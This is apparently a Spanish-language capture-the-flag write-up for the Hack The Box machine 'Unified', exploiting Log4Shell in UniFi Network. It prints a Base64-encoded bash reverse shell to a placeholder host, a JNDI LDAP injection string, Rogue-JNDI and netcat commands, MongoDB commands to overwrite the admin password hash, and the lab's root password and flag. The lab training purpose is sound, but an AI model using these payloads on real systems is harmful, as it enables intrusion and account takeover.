Volver a Writeups
Hack The Box Very Easy 🐧 Linux Starting Point

Unified

Explotación de la vulnerabilidad Log4Shell (CVE-2021-44228) en la aplicación UniFi Network. El vector de ataque consiste en inyectar un payload JNDI malicioso para lograr RCE, luego manipular la base de datos MongoDB interna para resetear la contraseña de administrador y finalmente escalar privilegios mediante credenciales SSH en texto plano encontradas en la aplicación.

Log4Shell CVE-2021-44228 JNDI Injection RCE MongoDB LDAP

Reconocimiento

El escaneo inicial de nmap revela cuatro puertos abiertos relevantes:

nmapPuertos abiertos
22/tcp    open  ssh
6789/tcp  open  ibm-db2-admin
8080/tcp  open  http-proxy
8443/tcp  open  https-alt

En el puerto 8443 corre UniFi Network v6.4.54, una versión notoriamente vulnerable a Log4Shell.

Explotación — Log4Shell (CVE-2021-44228)

Log4Shell permite ejecutar código remoto aprovechando que Log4j interpreta strings especiales del tipo ${jndi:ldap://...}. Si inyectamos este vector en un campo que el servidor registra en sus logs (en este caso el campo remember del login), el servidor intentará conectarse a nuestro LDAP malicioso.

1. Preparar el entorno (Java + Maven)

bashInstalación de dependencias (Fedora)
sudo dnf install java-11-openjdk-devel maven -y
java -version && mvn -v

2. Compilar el servidor LDAP malicioso (Rogue-JNDI)

bashConstrucción del exploit
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
# Resultado: target/RogueJndi-1.1.jar

3. Generar el payload de reverse shell en Base64

Los caracteres especiales de Bash (>, &, |) se rompen al pasar por el servidor web. La solución es encodear el comando en Base64:

bashPayload Base64
echo -n 'bash -i >& /dev/tcp/TU_IP/1234 0>&1' | base64
# Resultado: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMjkvMTIzNCAwPiYx

4. Interceptar el login con Burp Suite

Interceptamos la petición POST del login al panel de UniFi en el puerto 8443 y modificamos el campo remember con nuestro vector JNDI:

payloadJNDI Injection vector
${jndi:ldap://TU_IP/whatever}

5. Lanzar Rogue-JNDI y escuchar

bashServidor LDAP + listener
# Terminal 1: verificar el impacto
sudo tcpdump -i tun0 port 389

# Terminal 2: lanzar Rogue-JNDI con el payload
java -jar target/RogueJndi-1.1.jar \
  --command "bash -c {echo,BASE64_AQUI}|{base64,-d}|{bash,-i}" \
  --hostname "TU_IP"

# Terminal 3: netcat listener
nc -lvnp 1234

Una vez que el servidor procesa el campo remember, se conecta a nuestro LDAP malicioso, descarga y ejecuta el payload → shell como usuario unifi.

Post-Explotación — MongoDB

Dentro del sistema encontramos MongoDB corriendo en el puerto 27117. La base de datos ace de UniFi contiene los usuarios administradores.

Extraer el hash del administrador

bashConsulta a MongoDB
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
# Campo a buscar: x_shadow (hash SHA-512)

Reemplazar la contraseña del admin

Generamos nuestro propio hash SHA-512 y lo insertamos en la base de datos:

bashCambio de contraseña
# Generar nuevo hash
mkpasswd -m sha-512 NuevaPassword123

# Actualizar en MongoDB
mongo --port 27117 ace --eval 'db.admin.update(
  {"_id": ObjectId("61ce278f46e0fb0012d47ee4")},
  {$set:{"x_shadow":"NUEVO_HASH_SHA512"}}
)'

Accedemos al panel de UniFi con las nuevas credenciales y encontramos las credenciales SSH de root en la sección de configuración del site.

Escalada de Privilegios → Root

bashSSH como root
ssh root@10.129.40.223
# Password: NotACrackablePassword4U2022

root@unified:~# cat root.txt
e50bc93c75b634e4b272d2f771c33681

Lecciones Aprendidas

  • Log4Shell demuestra que los logs pueden ser vectores de ataque si el framework de logging interpreta el input del usuario.
  • Las bases de datos internas (MongoDB sin autenticación) son targets valiosos en post-explotación.
  • Nunca almacenar credenciales SSH en texto plano en interfaces de administración web.
  • JNDI + LDAP es una combinación peligrosa cuando se acepta input no sanitizado.
unified